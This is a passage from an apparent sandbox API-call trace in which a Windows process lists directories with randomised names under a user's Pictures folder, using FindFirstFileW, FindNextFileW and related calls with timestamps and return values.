SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0072.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\hgzfj"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac7d2c70, ftCreationTime.dwHighDateTime=0x1d2ff65, ftLastAccessTime.dwLowDateTime=0xda886310, ftLastAccessTime.dwHighDateTime=0x1d302d4, ftLastWriteTime.dwLowDateTime=0xda886310, ftLastWriteTime.dwHighDateTime=0x1d302d4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0072.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0072.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj", lpFilePart=0x0) returned 0x2f [0072.526] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.526] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.527] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj", lpFilePart=0x0) returned 0x2f [0072.527] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.527] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.527] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.528] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_", lpFilePart=0x0) returned 0x3d [0072.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0072.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\tmdcgsua1hpeixp_g-_"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb534ee30, ftCreationTime.dwHighDateTime=0x1d2f7b2, ftLastAccessTime.dwLowDateTime=0x98877e0, ftLastAccessTime.dwHighDateTime=0x1d300dc, ftLastWriteTime.dwLowDateTime=0x98877e0, ftLastWriteTime.dwHighDateTime=0x1d300dc, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0072.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.528] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_", lpFilePart=0x0) returned 0x3d [0072.528] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.528] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.528] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.528] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.528] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.528] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.528] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.528] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_", lpFilePart=0x0) returned 0x3d [0072.529] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\TmdCgSua1hPeIxp_g-_\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.529] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0072.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd", lpFilePart=0x0) returned 0x29 [0072.529] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9058 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.529] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0072.530] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0072.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0072.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG", lpFilePart=0x0) returned 0x32 [0072.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0072.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce05bde0, ftCreationTime.dwHighDateTime=0x1d2f884, ftLastAccessTime.dwLowDateTime=0x36bfd110, ftLastAccessTime.dwHighDateTime=0x1d2fc66, ftLastWriteTime.dwLowDateTime=0x36bfd110, ftLastWriteTime.dwHighDateTime=0x1d2fc66, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0072.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0072.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG", lpFilePart=0x0) returned 0x32 [0072.530] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9058 [0072.530] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.531] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0072.531] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0072.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0072.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0072.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG", lpFilePart=0x0) returned 0x32 [0072.532] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9058 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.532] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0072.532] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0072.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0072.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv", lpFilePart=0x0) returned 0x2f [0072.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0072.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f43a270, ftCreationTime.dwHighDateTime=0x1d2fea8, ftLastAccessTime.dwLowDateTime=0x28286200, ftLastAccessTime.dwHighDateTime=0x1d302f3, ftLastWriteTime.dwLowDateTime=0x28286200, ftLastWriteTime.dwHighDateTime=0x1d302f3, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0072.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0072.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv", lpFilePart=0x0) returned 0x2f [0072.533] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9058 [0072.533] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.533] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.533] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.533] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.533] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.533] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0072.533] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0072.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0072.534] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk", lpFilePart=0x0) returned 0x39 [0072.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0072.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9017910, ftCreationTime.dwHighDateTime=0x1d2fe88, ftLastAccessTime.dwLowDateTime=0xa9cd4de0, ftLastAccessTime.dwHighDateTime=0x1d2fab3, ftLastWriteTime.dwLowDateTime=0xa9cd4de0, ftLastWriteTime.dwHighDateTime=0x1d2fab3, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0072.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.534] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk", lpFilePart=0x0) returned 0x39 [0072.534] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.534] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.534] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.534] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.534] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.535] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.535] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk", lpFilePart=0x0) returned 0x39 [0072.535] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.535] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.535] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.535] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.535] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.535] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.535] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w", lpFilePart=0x0) returned 0x34 [0072.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0072.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d886da0, ftCreationTime.dwHighDateTime=0x1d3054e, ftLastAccessTime.dwLowDateTime=0x3504ebe0, ftLastAccessTime.dwHighDateTime=0x1d3025f, ftLastWriteTime.dwLowDateTime=0x3504ebe0, ftLastWriteTime.dwHighDateTime=0x1d3025f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0072.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w", lpFilePart=0x0) returned 0x34 [0072.536] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.536] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.536] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.536] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.536] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.536] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.536] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.537] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0072.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w", lpFilePart=0x0) returned 0x34 [0072.537] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9058 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0072.537] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0072.537] 